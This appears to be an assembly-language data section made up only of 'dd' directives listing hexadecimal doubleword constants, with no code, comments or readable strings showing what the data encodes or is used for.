dd 0AFFB6B8Ch, 57003A25h, 0A8B0601Dh, 58495551h, 7229E654h
dd 0A0D6214h, 0E7F20CF4h, 0A118A99Fh, 23B72E34h, 44186835h
dd 423AB96Ch, 4ABDD010h, 53CAB0F6h, 2F4C39D9h, 0DCE43A2Fh
dd 442E792Fh, 9E555943h, 56D5D65Ah, 79EB8893h, 3871A560h
dd 54EFFCF2h, 4F10AFFFh, 523C68C4h, 0DB6B2955h, 0C7504978h
dd 203815BFh, 9A788C51h, 0C8748736h, 8B5A7FFh, 706471B4h
dd 2E1F2819h, 12939466h, 4C7DF2CEh, 0D3663BC8h, 9A538918h
dd 0B6171ADDh, 6F6D14BCh, 19544876h, 0D0C7952Eh, 0A5579AE8h
dd 45722C71h, 0E83CB42Eh, 5EE1796Ch, 0A24A24h, 5E9839E4h
dd 10B34AC1h, 0FF565289h, 4149ED73h, 0F2485C2Eh, 95869E57h
dd 48212D6Fh, 8B4B61F1h, 0B418A992h, 70BE42ABh, 8B756F62h
dd 0C8447931h, 0BD206412h, 0F3A769B6h, 756C8D64h, 7D8205AAh
dd 7161443h, 0D45052F3h, 674AEE63h, 8E542C2Eh, 0BC2C841Ch
dd 725023DCh, 2D35D9F1h, 0C778C9E1h, 8AA7C90h, 0D6534E44h
dd 0BC7C39D0h, 4F079672h, 0D1816AD7h, 819DB53Ch, 0BE7A0C22h
dd 5049E1ABh, 72747B3Ah, 0D45E7BA9h, 0C02DAF84h, 6460493Ah
dd 3AF2604Dh, 93763D3Ch, 6582A244h, 120A797Eh, 0E84F785Ch
dd 3C22F766h, 0FBD26FB9h, 0BAEB3497h, 0AD2EB128h, 5E0CA634h
dd 614D2080h, 0A0C55371h, 0E5BC4163h, 0A58ACE5Ah, 37B7FCC9h
dd 1BD1FB1Ch, 2D3C8FFEh, 0A0F498C7h, 9E757127h, 0F4691392h
dd 0B29F5298h, 1A10D164h, 7BD6F65Ah, 0CC1425D7h, 55B66A9Dh
dd 3CE84C37h, 0DA4C54C9h, 0CA62BA7Dh, 8CC2D8C8h, 0F0CCB628h
dd 0FBF94850h, 0CC4727E7h, 45634D0Eh, 974144AEh, 0D437C4DAh
dd 201FDEF9h, 0DA686FAFh, 0C4213F47h, 0E923EE3Bh, 0E0B1F570h
dd 0A0F5993Fh, 634B048Eh, 74DD0CB3h, 62794920h, 1776904Bh
dd 13637928h, 2C2650D2h, 9F0884E8h, 0EC91E0CEh, 8C90EE27h
dd 23789B14h, 2D162308h, 56D6785Ah, 85EA0699h, 0FC956635h
dd 85950B3h, 0F7400C46h, 8614AE70h, 63672D0Ch, 0EFC42492h
dd 96FC64B4h, 626109C0h, 2037B8D1h, 5D21151Eh, 0D94CA248h
dd 0C1ED2554h, 0D6507225h, 3C1E8860h, 0ED264568h, 0E4DD3E12h
dd 58732A0Dh, 2E307724h, 205C73BCh, 0BCA8F4BDh, 0C3D164C9h
dd 1213EE39h, 0B4160B6h, 0F53F4FF7h, 0E011A1D0h, 690D48BCh
dd 0D42C5809h, 2162D9BCh, 4897075h, 18566A4Ah, 9CA509B4h
dd 4F4B3184h, 41C78353h, 443459B0h, 3BC8EBB5h, 32557909h
dd 84194ED3h, 110C5430h, 94096734h, 9B32E829h, 0A21F7002h
dd 9DD0440Bh, 0F070E193h, 0B6A429B4h, 477A08EAh, 1D34359Ah
dd 2D5BBCE7h, 0F4982C7Ah, 47561A15h, 3372131Dh, 5D5FEAB3h
dd 0FDE62AD1h, 0C9888D6Ah, 71139A75h, 69265619h, 8D30C52h
dd 8494ACBh, 79243D5Fh, 7369849Ch, 11A49917h, 4662630Ch
dd 2686924Ah, 12BBCAB5h, 72C01111h, 9D2A0B49h, 1D1919A4h
dd 199F3508h, 3C2D7B0Ch, 646AE035h, 562025F0h, 7074DF9Dh
dd 7CCA5CBCh, 262114A1h, 4CA07325h, 0B2B54349h, 13141210h
dd 98AA749h, 1468B04Ah, 9730869h, 0A114452Dh, 68BACB74h
dd 1CA14065h, 86EDE4ADh, 6475290Ch, 0C8E02417h, 24534B16h
dd 0C7950D22h, 389EACD0h, 0A58499CEh, 9A7FE683h, 6896BDA9h
dd 516C12CBh, 48504840h, 5257457Dh, 0A540A50Ch, 53A0F17Bh
dd 0A1E7204Bh, 7AE49D4Ah, 50C1A439h, 2F1911A3h, 18B030C5h
dd 0AE504455h, 3232BF30h, 0B05CAF29h, 11F068D3h, 2B14C825h
dd 887E691Ch, 0AA5421ECh, 0D64F3A0Ch, 5250C818h, 375350DCh
dd 38185339h, 1C482C21h, 1A5A2C48h, 0D4251C29h, 0C1A94C43h
dd 53C2C744h, 8DC21B2h, 8A2B456Dh, 4D23DC84h, 442D6FE0h
dd 365BCC1Ah, 6AB2181Ch, 4753A8BCh, 683C7429h, 0CFE708CCh
dd 0B0E6E490h, 0AF3C29D7h, 0D04CBC3Dh, 1C900C59h, 1032109Ah
dd 515ADCF9h, 687EAEE4h, 6771E818h, 5B14EA62h, 6A752125h
dd 66083270h, 0B8149912h, 0CA420E56h, 0F2EC104Ah, 1A9DA65Bh
dd 56097A72h, 0A0F371Eh, 7B4C2761h, 0F01BEC8Ah, 4B5075D3h
dd 48D3331Eh, 4EB78253h, 91E3637h, 245B91FAh, 0A22849F0h
dd 3C1B5308h, 416F8B4Fh, 78B5331Ch, 0F19DCCB7h, 287C1928h
dd 86046425h, 632581D0h, 5E889B3Fh, 0B0AD6CC5h, 7F27ACD6h
dd 0FAC0C09Ah, 69726F68h, 4621D07Ah, 7CF93A27h, 0DB7234E8h
dd 0AAFBA774h, 1C4E1227h, 0A5308531h, 5F53E1F1h, 46987B80h
dd 6D3ED99Ch, 4305594Eh, 6D544148h, 0C11C2A28h, 0CC9584AAh
dd 7492977Eh, 3D12D23Ah, 7649D417h, 1EA77FD3h, 5001273Ch
dd 0E2143AADh, 0DA2D856h, 569E208Dh, 76535209h, 382323FCh
dd 0CA7E1156h, 57CC2319h, 5EE9022Bh, 0A79CA41Ch, 0C094BC2h
dd 88158F2h, 4D32C533h, 78293E74h, 92A8DB6Bh, 5E2E634Bh
dd 6984DE20h, 4B353339h, 9D3EB489h, 3A080238h, 7C69B2DDh
dd 10E5A7A4h, 7423DE48h, 82FB7368h, 0DD38B24Bh, 19288C3Bh
dd 40E0BD34h, 8EDF70A2h, 351C7DA3h, 0BCD12721h, 0C7B8F469h
dd 6547F54Fh, 663770Dh, 20420921h, 48143A24h, 61637084h
dd 0F582704Ah, 0E92A7A44h, 0FE73C3DAh, 92705F12h, 6C7941C9h
dd 37EB3834h, 0D6126D35h, 1BFF9ECAh, 79367E4Dh, 45898A76h
dd 60CA6F74h, 444C5104h, 109087E3h, 0C55C4637h, 6CEBB048h
dd 281049EFh, 463D5847h, 45216511h, 115EBFFCh, 0E8DC3097h
dd 6E450F84h, 0D4DF4176h, 91D05072h, 0EE5343CAh, 62648F1Eh
dd 53847235h, 0F732AB48h, 3537784Eh, 89217966h, 0B152055Ch
dd 63B90983h, 252D436Ch, 327E257h, 43636EBFh, 0DD444D24h
dd 0B574132h, 0CE41C818h, 2D3464EEh, 69142AF4h, 8A09F852h
dd 0B899D560h, 4741FB49h, 9AF7E6C1h, 1151A8E0h, 0B7E85492h
dd 1E5324DCh, 0EBFC3968h, 163045DEh, 462F0B44h, 6B527769h
dd 0E704D8CDh, 3E4490A9h, 2041535Fh, 969531F6h, 0C9149205h
dd 0BAEA57BEh, 0A4EB6C09h, 96E6214Ah, 0A4754217h, 4C95532Ah
dd 2431D218h, 6627645Dh, 752BDC10h, 0C3220C6Dh, 0E78A188Eh
dd 77460C2Bh, 444F5414h, 0F041CD44h, 0D9495809h, 0A953580Ch
dd 9B286496h, 6234114Ch, 0FD14356Fh, 0B5D4503h, 0CC36810h
dd 0C72F2AE8h, 4A28A096h, 8F8B149h, 0A2CA45B0h, 0E1C9106Fh
dd 4232730Ch, 894E219Ah, 1F694634h, 602824ABh, 7A6F4D3Ch
dd 61C528DEh, 0BAE342Fh, 81FC284Bh, 762AA14Ah, 7B482955h
dd 4C0F50D9h, 0D44E1443h
dd 2D4E2442h, 5578D628h, 6C29557Ah, 4F651441h, 130D60E1h
dd 2443140Fh, 4F197492h, 0E9DF4824h, 0F0C0B5CCh, 14A573F4h
dd 14873420h, 47153C23h, 4E4CD43Fh, 3D0ADED5h, 0BFD41C78h
dd 0A1E57846h, 6394FF37h, 95D692D8h, 0B4B8BC20h, 0D25DB8C4h
dd 62C55CADh, 683EB979h, 28521066h, 2CE8101Eh, 0C2242C8h
dd 70FD19F3h, 3C9AFFDEh, 54710809h, 5DA4AFA5h, 0CC9688E8h
dd 0FC94C669h, 0A36E9476h, 8C5B250Ch, 206F7488h, 0F131EBBFh
dd 730891C2h, 0A33DD817h, 8410A06Ch, 9C5F57C1h, 53BF0C45h
dd 9479E1F0h, 850E28DAh, 0E8D86CAAh, 84816907h, 7C434153h
dd 2A5A4883h, 1BA90C70h, 9A8BF64Ch, 10483374h, 42334914h
dd 0E05F3884h, 4944461Dh, 8D7FED73h, 0DA1DBF48h, 0F5638C0Fh
dd 0DD21DBC0h, 0CE9535Dh, 54C22825h, 32737702h, 2692655Fh
dd 624FC1D4h, 427C776Ah, 3C967610h, 0D7694243h, 122DDA3Fh
dd 0BA241450h, 42492445h, 589328AFh, 5EA4F772h, 0CB726514h
dd 0F88440B8h, 0A5244DBBh, 14A4465Bh, 2EA2776Dh, 144358CAh
dd 0B299977h, 291C6467h, 89A44759h, 33AC294Eh, 7456EA44h
dd 0B766AD09h, 3A797425h, 6412FDBFh, 7B958464h, 3646ADE3h
dd 83466D3h, 8CDD1535h, 150DDC19h, 0E65EF9A5h, 9A111A52h
dd 90E1A21h, 16C81275h, 3510840Fh, 939C4D43h, 254C727Ah
dd 0D66A35E0h, 6B6FFA81h, 25D22EADh, 30D0629Ah, 0A5FC96FCh
dd 0B9D113D1h, 0B550AE7Eh, 352A70B2h, 166C6400h, 1A76A20Ch
dd 676CC574h, 2D242441h, 141D2B0Fh, 0D8ADCBE9h, 320C8220h
dd 31521BC3h, 72105121h, 0C60F5479h, 3084224Ch, 12850E92h
dd 63668135h, 3422D183h, 0E0D6341h, 6600C92Fh, 1978D5A0h
dd 67626F46h, 262957CEh, 14820566h, 6F540A11h, 0AD417282h
dd 0A6368124h, 741A1969h, 365113Bh, 313269B4h, 84E2CB73h
dd 293F8C99h, 7240146Bh, 66D4440Eh, 23485C29h, 73ACA45Ah
dd 0BA799C92h, 8E004482h, 0D008B70Bh, 8D0B529Bh, 0D538012h
dd 0A8A70029h, 5251CE11h, 5D00D92Ah, 0A97B5DC4h, 69BF3530h
dd 4E06D008h, 46174F6Dh, 4BB5B2D3h, 1C0AE7B1h, 6279A196h
dd 999D70A2h, 0AE47503Ch, 4539CE4Dh, 707954C2h, 2F2175ADh
dd 11AE0552h, 851170Dh, 73594A7Ah, 1B814828h, 285FBF6Bh
dd 0C491C414h, 47B56F4Dh, 0C412A204h, 2D6F73B1h, 4E229D80h
dd 0F4107894h, 0BD642135h, 6C271BECh, 570E904h, 60976E53h
dd 0E674EBBFh, 1215B388h, 89BCA94Dh, 6C4A496Bh, 0F997CC23h
dd 407CDD2Ch, 0BD4C7144h, 0A45EC1C2h, 0DC3C41D9h, 9D75BBE4h
dd 7964CAA2h, 0B84F14Fh, 0E553891Ah, 0C833A370h, 72700ADCh
dd 494F5E1Ah, 351E1439h, 1A00104Eh, 389C4EBCh, 96343C72h
dd 7118A124h, 0B4302C57h, 572E9C2Bh, 714EA1F4h, 659DE647h
dd 7695411Eh, 9965AD80h, 4BC9E90Eh, 348F801Eh, 48CBDB3Ch
dd 7DF3E993h, 0AB9F29B8h, 9067E6ECh, 0DD695F5Dh, 3095C2B1h
dd 0FAB25EBDh, 63AF2D9Eh, 5FDC4EBAh, 9B605B5Bh, 55AFDA7Ch
dd 2A79DB25h, 1E34F24h, 0E21A124Bh, 5A3247F4h, 2DAAD894h
dd 8719A488h, 1296C9Ch, 40AAAC61h, 0AB41C42Dh, 0B479100Dh
dd 28AB191Ah, 2F6A5B4Ah, 38F4C55Dh, 28AB7714h, 23706D1Ch
dd 0C42A0391h, 74755B14h, 0D088BB43h, 28AC6B62h, 51602608h
dd 0D7099A05h, 53EA2929h, 631B8C7h, 87AEED09h, 4315E828h
dd 4409DC06h, 0C089CCD4h, 0B024B812h, 0A091A848h, 90449822h
dd 12808988h, 486C2478h, 22549160h, 3840444Ch, 28123089h
dd 18482024h, 4220C91h, 4414F820h, 0E089E8F0h, 0D024D812h
dd 0B891C448h, 0A844B022h, 129489A0h, 48802488h, 226C9174h
dd 545C4464h, 40124889h, 30483824h, 20222891h, 2E0C12FFh
dd 13F81B11h, 959A4E1h, 24D412DCh, 91BC48C8h, 44A822B4h
dd 8889949Ch, 74248012h, 60916848h, 48445422h, 1230893Ch
dd 48202428h, 22109118h, 0F811E108h, 45D1BA12h, 0D0092CE2h
dd 0B812C889h, 0A048AC24h, 90229891h, 89788044h, 245C1268h
dd 91444850h, 442C2234h, 10891824h, 4240812h, 811FC44h
dd 22E891F4h, 0C8D444DCh, 0B812C089h, 0A848B024h, 90229C91h
dd 89808844h, 24701278h, 915C4864h, 444C2254h, 2C893440h
dd 18242012h, 4910C48h, 0D910FC1Bh, 44EC0922h, 0D489DCE4h
dd 0C024C812h, 0AC91B848h, 9C44A422h, 128C8994h, 48782480h
dd 22689170h, 50584460h, 3C1C4889h, 2C123489h, 1C482424h
dd 0C221491h, 6EFC0444h, 7891F90Fh, 225FE48Bh, 0BEC817F9h
dd 0B0099145h, 0A044A822h, 128C8998h, 48782480h, 22649170h
dd 404C4458h, 2C123889h, 14481C24h, 4220C91h, 440EF820h
dd 0DC89E8F0h, 0CC24D412h, 0B891C448h, 0A444AC22h, 12908998h
dd 48802488h, 22709178h, 50584464h, 3C124489h, 28483024h
dd 10221C91h, 40F80444h, 0E889EC0Dh, 0D424DC12h, 0C091C848h
dd 0AC44B422h, 129C89A4h, 488C2494h, 227C9184h, 646C4474h
dd 54125C89h, 40724C24h, 2C483824h, 1C222491h, 8B081444h
dd 0CF84684h, 0E409C8F1h, 0D422DC91h, 89C8CC44h, 24B812C0h
dd 91A848B0h, 449422A0h, 7C89848Ch, 6C247412h, 5C916048h
dd 48445022h, 12388940h, 4820242Ch, 70089114h, 0D90BF888h
dd 12E009E9h, 48C824D0h, 22B491BCh, 98A044A8h, 88129089h
dd 74487C24h, 64226C91h, 89505844h, 24381244h, 9124482Ch
dd 4414221Ch, 0FC88040Ch, 12F4810Ah, 48E424ECh, 22D491DCh
dd 0B8C044C8h, 0A812B089h, 94489C24h, 84228C91h, 89747C44h
dd 2464126Ch, 914C4858h, 44342240h, 1C89242Ch, 0C241412h
dd 0FC8D0448h, 991E909h, 44E022E8h, 0C489CCD8h, 0B424BC12h
dd 9C91AC48h, 8C449422h, 127C8984h, 486C2474h, 22589160h
dd 3C484450h, 24123089h, 14481C24h, 4220C91h, 4408F820h
dd 0DC89E4ECh, 0C824D012h, 0B891C048h, 0A444AC22h, 1294899Ch
dd 4880248Ch, 22689170h, 44504458h, 30123C89h, 20482824h
dd 0C221491h, 7F811E1h, 0E824F002h, 0D091DC48h, 0BC44C422h
dd 12A889B4h, 489824A0h, 22849190h, 6C74447Ch, 5C126489h
dd 4C485424h, 38224491h, 89283044h, 24181220h, 20225C0Ch
dd 0EC4406F8h, 12DC89E4h, 48C824D4h, 22B091BCh, 909844A4h
dd 7C128889h, 70487424h, 64226C91h, 89505C44h, 24401248h
dd 912C4834h, 4514221Ch, 0F822C208h, 48F00405h, 22DC91E4h
dd 0BCC844D0h, 0A812B089h, 94489C24h, 84228C91h, 896C7844h
dd 245C1264h, 91484854h, 44342240h, 1489202Ch, 4240C12h
dd 22B0FC4Eh, 0E0E844F4h, 0CC12D889h, 0BC48C424h, 0AC22B491h
dd 8998A044h, 24881290h, 91784880h, 44682270h, 50895860h
dd 40244812h, 34913848h, 20442C22h, 17088914h, 3F48D08h
dd 92CD2E9h, 12C889D4h, 48B424BCh, 22A491ACh, 84904498h
dd 74127C89h, 64486C24h, 54225C91h, 89444C44h, 242C1238h
dd 91204824h, 44102218h, 26EFC08h, 96491E1h, 91D448DCh
dd 44C022CCh, 0A889B0B8h, 9424A012h, 80918C48h, 6C447422h
dd 12588960h, 48482450h, 2230913Ch, 1C204428h, 0C121489h
dd 0FC460424h, 9C8E101h, 22E491ECh, 0CCD444DCh, 0BC12C489h
dd 0AC48B424h, 9C22A491h, 89848C44h, 246C1278h, 91584864h
dd 4444224Ch, 28893038h, 18242012h, 4911048h, 0F040FC38h
dd 0E012E889h, 0CC48D424h
dd 0BC22C491h, 89ACB444h, 249C12A4h, 918C4894h, 447C2284h
dd 64896C70h, 54245C12h, 40914848h, 2C443822h, 121C8924h
dd 480C2414h, 0FFFC8604h, 9C8F042h, 22E091E8h, 0C4CC44D4h
dd 0B412BC89h, 0A448AC24h, 94229891h, 89848C44h, 2474127Ch
dd 9164486Ch, 444C2258h, 30893C44h, 20242812h, 0C911848h
dd 0FEF88870h, 0E409E9D9h, 0D424DC12h, 0C491CC48h, 0B444BC22h
dd 12A489ACh, 4890249Ch, 22849188h, 606C4478h, 48125489h
dd 34483C24h, 24222C91h, 89141C44h, 0FDFC1104h, 0E809D9B2h
dd 0D848E024h, 0C422D091h, 89B0B844h, 249C12A4h, 91844890h
dd 4470227Ch, 50895C64h, 40244812h, 28913448h, 18442022h
dd 170C8914h, 0FCF88808h, 0E422EC11h, 89CCD844h, 24B812C4h
dd 91A448B0h, 4490229Ch, 78898088h, 68247012h, 50915C48h
dd 3C444822h, 12288934h, 48182420h, 7F049110h, 89F0FB40h
dd 24E012E8h, 91D048D8h, 44BC22C8h, 9C89A4B0h, 88249412h
dd 78918048h, 64446C22h, 124C8958h, 483C2444h, 22289130h
dd 0C14441Ch, 0F846848Bh, 17E9D9FAh, 0F245BE88h, 8B7C912Fh
dd 44B40922h, 9889A0A8h, 88249012h, 78918048h, 68447022h
dd 12588960h, 48502454h, 22389144h, 1820442Ch, 8121089h
dd 0FC10112Eh, 44F422F9h, 0DC89E4ECh, 0C424D012h, 0B491BC48h
dd 0A444AC22h, 1294899Ch, 4880248Ch, 226C9174h, 4C5C4464h
dd 38124489h, 28483024h, 10221C91h, 0E3F80444h, 0E009D1B2h
dd 0CC48D824h, 0B422C091h, 89A0AC44h, 24901298h, 917C4884h
dd 44682274h, 4C89545Ch, 3C244412h, 2C913448h, 1C442422h
dd 11088910h, 0F002F7FCh, 0E048E824h, 0D022D891h, 89C0C844h
dd 24B012B8h, 91A048ACh, 448C2294h, 74897C84h, 64246C12h
dd 54915C48h, 44444C22h, 1230893Ch, 481C2428h, 1004910Ch
dd 0F422F6FCh, 89E4EC44h, 24D412DCh, 91C048CCh, 44B022B8h
dd 9889A0A8h, 7C248812h, 68917048h, 58446022h, 12488950h
dd 48342440h, 2224912Ch, 0C14441Ch, 0F844848Bh, 91F008F5h
dd 44E022E8h, 0D089D4DCh, 0BC24C812h, 0A891B048h, 9844A422h
dd 12888990h, 48782480h, 22609170h, 48504458h, 38124089h
dd 28483024h, 10221891h, 41FC0844h, 0EC24CEF4h, 0D491E048h
dd 0C044CC22h, 12AC89B4h, 4894249Ch, 2280918Ch, 646C4478h
dd 54125C89h, 44484C24h, 34223C91h, 89283044h, 2414121Ch
dd 8804480Ch, 0F011F3FCh, 0E044E822h, 12CC89D8h, 48BC24C4h
dd 22A491B0h, 88904498h, 78128089h, 68487024h, 58226091h
dd 89404C44h, 242C1234h, 911C4824h, 440C2214h, 0F240FC04h
dd 12EC89F4h, 48D824E0h, 22C891D0h, 0A8B044BCh, 9812A089h
dd 84489024h, 74227C91h, 89606844h, 24501258h, 91384848h
dd 4424222Ch, 8891018h, 0F0880817h, 22E811F1h, 0CCD444DCh
dd 0B412C089h, 9848A424h, 84228C91h, 896C7844h, 24581260h
dd 91484850h, 44382240h, 18892430h, 0C241012h, 0F8880448h
dd 22EC11F0h, 0D8DC44E4h, 0C412CC89h, 0B048BC24h, 0A022A891h
dd 898C9844h, 247C1284h, 916C4874h, 44582260h, 34894048h
dd 24242C12h, 14911C48h, 4440C22h, 0E1EF6EF8h, 228B7891h
dd 0CC44D409h, 12BC89C4h, 48AC24B4h, 229891A4h, 7C884490h
dd 6C127489h, 5C486424h, 44225091h, 89343C44h, 2424122Ch
dd 9114481Ch, 0F888700Ch, 22E9DDEEh, 440916F1h, 0BC89C4CCh
dd 0AC24B412h, 9891A448h, 84449022h, 1270897Ch, 485C2468h
dd 2240914Ch, 242C4434h, 0C121889h, 0F410112Eh, 44E822EDh
dd 0CC89D4DCh, 0BC24C412h, 0A891B048h, 9844A022h, 12888990h
dd 48742480h, 2264916Ch, 48504458h, 38124089h, 28483024h
dd 14222091h, 6DFC0844h, 0DE09E1ECh, 0DC48E424h, 0C822D491h
dd 89BCC444h, 24A412B4h, 9194489Ch, 4484228Ch, 6C89747Ch
dd 5C246412h, 4C915448h, 40444422h, 12308934h, 48202428h
dd 220C9114h, 0EBFC3704h, 45BC48F9h, 0BD80991h, 5874795Ah
dd 696B2297h, 0CB7B18DEh, 119662A1h, 0D9A4FC75h, 1B3B6310h
dd 50C736D3h, 6B61646Ch, 623C21D9h, 9108FFAh, 36F65C67h
dd 77F20C21h, 0D70C4CBDh, 0F211E118h, 99630887h, 59EB23F5h
dd 0E0184E75h, 2D2F6B16h, 0DF34E653h, 66097318h, 250D1F8Dh
dd 765551F8h, 9B03E08h, 6608A36Eh, 10610474h, 3D74626Eh
dd 74B521F7h, 109B38BCh, 86D99AFEh, 8CD66E11h, 0D16D1046h
dd 97450814h, 563B9EB8h, 59795064h, 0E8997210h, 9D576475h
dd 2D8A64C8h, 5B27D050h, 86102230h, 6E652108h, 489559B7h
dd 2692875Ah, 88BA6C10h, 51676940h, 1B6E0874h, 11E630A1h
dd 526CDDFDh, 0DC8857CCh, 0B4116DA0h, 0C9EC2612h, 0EB19568Dh
dd 0DAFEF8BCh, 6E398531h, 0D00C2350h, 43389C08h, 6D1A825Ah
dd 72F8088Ch, 46675CA1h, 11DF74B3h, 20732ABCh, 729010DEh
dd 0BC7341D9h, 0D1564058h, 845D7FDh, 685723EAh, 6BF6E8CEh
dd 0DA0C4ED0h, 6508117Eh, 0F8FD1BC2h, 2D116A53h, 107937BDh
dd 387AC85Fh, 8DC62A45h, 6C88D96Ch, 7EAABE67h, 0D6DCE0A6h
dd 10C6346Ah, 0D0507267h, 682ACF11h, 93CC8210h, 0B4406E69h
dd 7AF2E0F6h, 0EF6914A9h, 0C1E8DE4h, 0C590620Ch, 0C64722Ah
dd 0D0656E48h, 7D929A18h, 0CD527AEh, 507ED06Bh, 0E7409BCFh
dd 4E5694C8h, 0C9C420DBh, 1C92FA5Ch, 664CE52Fh, 20A3791Ch
dd 6ED09651h, 686AE297h, 0A04A21B5h, 0CA2B262h, 0A4898790h
dd 7010A576h, 0D0208438h, 2C53EB78h, 2835106Fh, 2446199Ah
dd 6E115661h, 93FA6963h, 1D5AE548h, 4824B338h, 1940C020h
dd 757A2455h, 73056F6Ch, 8FD93764h, 2D671198h, 9EA24277h
dd 6220602Ch, 706918A4h, 0C73B1342h, 986DDFDCh, 53348B5Bh
dd 54130E20h, 727D4B7Ah, 936FD1FEh, 0F0136126h, 0D0699075h
dd 0C94008FCh, 11538B6Bh, 0D5106FC1h, 64106150h, 3F0D6567h
dd 7386B137h, 6F46C532h, 0BF0C2576h, 0B5DC4C1Bh, 98B00C26h
dd 2D16DE12h, 608B0FF8h, 0B4794821h, 0A9908D10h, 6C1F7010h
dd 65121429h, 84507ACh, 0EB0829A0h, 80F58AE6h, 0E56E9BCFh
dd 85770822h, 8147297h, 0D56B3C74h, 6F5CBD08h, 75700391h
dd 0F1D1E66Ch, 3B20F8A1h, 64D783DEh, 68E41147h, 8A1D710h
dd 756F482Fh, 660CA170h, 0AC697624h, 0E3A490A8h, 81A66EFDh
dd 6B10EDF4h, 78ABE150h, 0C6A96851h, 0A21A2C8Fh, 11080D55h
dd 64674A7Ah, 0D1592808h, 0F2949CE4h, 7C41854Ch, 0DB560521h
dd 7450B5BCh, 684D24ACh, 96369E6Ch, 0E7C8A322h, 0D1BB0C2Ah
dd 6D119557h, 9B109AA8h, 61102729h, 1134D3DCh, 0C2C2D7FAh
dd 8466E70h, 99C46149h, 28BE7610h, 40D8C16Bh, 121055F1h
dd 296DFC8Ah, 0C92F1C7Ah, 119772F0h, 1BC0166Dh, 0D2F411A8h
dd 38996FAAh, 0F509BE69h, 10CD9890h, 29066253h, 74D5E911h
dd 45B8A63Fh, 18D96F0Ch, 400ACBF2h, 0DE6F0886h, 6D546609h
dd 761E5210h, 0E9F4C4B2h, 186D3868h, 8D66EBE7h, 8D8081Ah
dd 39B608B0h, 8B9E9A11h, 0A972C220h, 69C5A540h, 26752054h
dd 19EDDD7Ah, 0C5673121h, 49B80C45h, 8450C56h, 20778154h
dd 2F702DCFh, 4BEE2009h, 4F2DA957h, 0A46E1374h, 0DD25AB10h
dd 0C05838Dh, 50516B52h, 18825E18h, 66088672h, 6211DA27h
dd 59644669h, 6E7D7390h, 4CF3DD11h, 0C4B85B6Fh, 0BF5C511Dh
dd 6D380842h, 9FA04B46h
dd 4D11CC79h, 0A0AC69E7h, 0E6107068h, 51086414h, 0D5E70714h
dd 0FC142573h, 68597FF3h, 2A10D0C3h, 0A2F16863h, 882ED0Ch
dd 102256FCh, 0A47A6921h, 0E9649E32h, 7218326Ch, 808A4CAh
dd 0B71C20C7h, 4A74F541h, 6E196DC4h, 0D26B0813h, 2BEA1270h
dd 99720804h, 0EB10BFACh, 0CAC88C0h, 0BC226D96h, 510C9A76h
dd 0FB1034E4h, 34106911h, 64101463h, 2DAD4CEBh, 0AFF15972h
dd 3CB784F9h, 1BA2088Bh, 8B0D1036h, 61102A6Ch, 586B6834h
dd 0B8C2AC4Ch, 0D10879A8h, 6925202Eh, 1069B89Bh, 11162DDAh
dd 62CD097Bh, 18D51546h, 55865E2Fh, 0B00C8614h, 944C8461h
dd 8D23C18h, 1BF2F37Ah, 7469CEFEh, 0B4DBF611h, 0D444C421h
dd 94085A74h, 6611E20Dh, 40106CECh, 70F0866Bh, 9A8053D1h
dd 6433A519h, 0FFCF2037h, 0F0A70CEBh, 840884B9h, 942D9A10h
dd 250C68DBh, 47FF5850h, 641C7A08h, 7959826Eh, 9F6B08A7h
dd 1464149Fh, 4069D59Eh, 0E4E7EF78h, 72664059h, 78106473h
dd 10BE9ACDh, 5989D569h, 0BC64901Ah, 8D1C47FFh, 61E80209h
dd 6BF8F464h, 10B790B9h, 9F24F4DFh, 9F106294h, 630440E9h
dd 7DC96475h, 948910A0h, 6810B1C4h, 0E40D7B77h, 0AFE23C72h
dd 7C24150Ch, 6C797516h, 0DF195C76h, 0AA082AC6h, 0E080B46h
dd 67A7395Ah, 0BA44205Dh, 0AA108426h, 0D34C4E88h, 7D34FC19h
dd 6A9620A6h, 935114Dh, 0F361341Ch, 1A9FC0B7h, 1466450Ch
dd 7C424414h, 6F2A1E6Fh, 79696F3Ch, 804B2C2h, 0C778E177h
dd 88821177h, 3225A50Ch, 74100F74h, 29B69A08h, 25846208h
dd 0F2897208h, 18320804h, 0D0886C70h, 2A9E30E3h, 2D7A1F8Eh
dd 0DEBB6852h, 8921374Eh, 1029A11Bh, 0ECA0786Ch, 66680884h
dd 64120841h, 61925464h, 0C0CCD574h, 46795237h, 0DB89734Eh
dd 90F11A7h, 1899DC55h, 9A6F3264h, 12083319h, 36796F09h
dd 776A1090h, 54390909h, 98A6670Ch, 0D8010DAh, 0D541061h
dd 0EE621849h, 0A518DEEBh, 21086C28h, 0D145AA6Ch, 0E35C08D4h
dd 91120841h, 89088A79h, 34FC6F92h, 0EF7C26DFh, 4985AE1Ah
dd 7008096Bh, 116F27A6h, 41CF1BBFh, 0ABDEA110h, 6C752620h
dd 0F3435B66h, 6DF86423h, 7164BC58h, 0E9F3754Fh, 2B211869h
dd 32542D6Eh, 7A30940Ch, 77306B95h, 1175F111h, 34B711A4h
dd 67084F70h, 0AE119271h, 8B6A2628h, 0F020CE2Ch, 2A182BDBh
dd 472C6B86h, 0A4917862h, 0A6EC70A5h, 4210DBB5h, 50746B96h
dd 0F38B9492h, 6FD7F3C4h, 6AC9F311h, 1694852Bh, 2D9949F1h
dd 12457D43h, 0DCC5E210h, 75A11834h, 7AA6080Dh, 6518CC8Dh
dd 74A1764Eh, 0F6840806h, 0F208A36Ch, 42BFAB70h, 4B6C9BAAh
dd 10813610h, 6D440CD1h, 0EF047A1Eh, 792C0819h, 6B08A5EEh
dd 59511856h, 2EB85A38h, 9B480843h, 19DB0F48h, 3FC6EAD7h
dd 0D240A4FBh, 26121709h, 617710B8h, 74656B10h, 1013689Ah
dd 55D46842h, 8B101767h, 65AF3442h, 732A660Fh, 34C9A154h
dd 62082232h, 19C258ECh, 6C7A7572h, 0B419D165h, 64FB5696h
dd 290C519Ah, 0CC281169h, 34D0A308h, 10B91111h, 186F5276h
dd 3925DE51h, 55DC10A8h, 41251079h, 36C1049h, 618F4C91h
dd 14C68D76h, 64820D0Ch, 4ABFE354h, 7488C9F0h, 0AC332F83h
dd 8761825h, 7BA908C1h, 960C10B6h, 1C6F148Bh, 8489C492h
dd 65080455h, 648CD266h, 0F8A14A9h, 9A3CA1BFh, 9C794372h
dd 6ADF19B7h, 6D970873h, 136D9F1Ch, 71185170h, 3755D04Bh
dd 0C43F36Dh, 757A717Bh, 46928E6Fh, 41707253h, 0CFFB75EFh
dd 5A0C5AC5h, 1048E413h, 10752AE2h, 0C56FBE81h, 31284972h
dd 9E740929h, 6B754458h, 48880012h, 0B176784Fh, 104FBC24h
